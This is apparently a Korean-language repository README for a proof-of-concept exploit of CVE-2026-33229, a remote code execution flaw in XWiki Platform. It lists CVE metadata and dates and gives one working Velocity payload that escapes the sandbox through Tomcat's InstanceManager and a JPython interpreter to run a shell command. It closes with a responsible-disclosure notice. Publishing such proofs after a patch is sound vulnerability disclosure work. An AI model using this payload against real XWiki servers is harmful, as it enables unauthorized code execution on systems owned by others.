azefzafyoussef/cve-2026-33229# CVE-2026-33229 개념 증명 익스플로잇 Apache Velocity 샌드박스 우회를 통한 XWiki RCE 취약점에 대한 개념 증명 익스플로잇으로, 기술적 세부 사항과 작동하는 페이로드를 포함합니다.
XWiki Platform의 원격 코드 실행 취약점으로, 스크립팅 권한이 있는 인증된 사용자가 Java Reflection 없이도 Velocity 컨텍스트에 이미 존재하는 사전 인스턴스화된 객체를 탐색하여 Apache Velocity 샌드박스를 완전히 우회할 수 있습니다.
📄 전체 기술 세부 정보: youssefazefzaf.com/posts/cve
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-33229 |
| 영향받는 제품 | XWiki Platform |
| 구성 요소 | Velocity 매크로 렌더러, 페이지 제목 매개변수 |
| 필요한 권한 | 인증 + 스크립트 권한 |
| 영향 | 원격 코드 실행 |
| GHSA | GHSA-h259-74h5-4rh9 |
| 발견일 | 2025년 11월 7일 |
| 패치일 | 2025년 12월 10일 |
| 공개일 | 2026년 4월 8일 |
$request.request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.apache.batik.script.jpython.JPythonInterpreter").evaluate("import os; os.system('touch /tmp/RCE')")
책임 있는 공개 고지: PoC는 패치 제공 이후에 공개되었습니다. 소유하지 않은 시스템에 대해 사용하지 마십시오.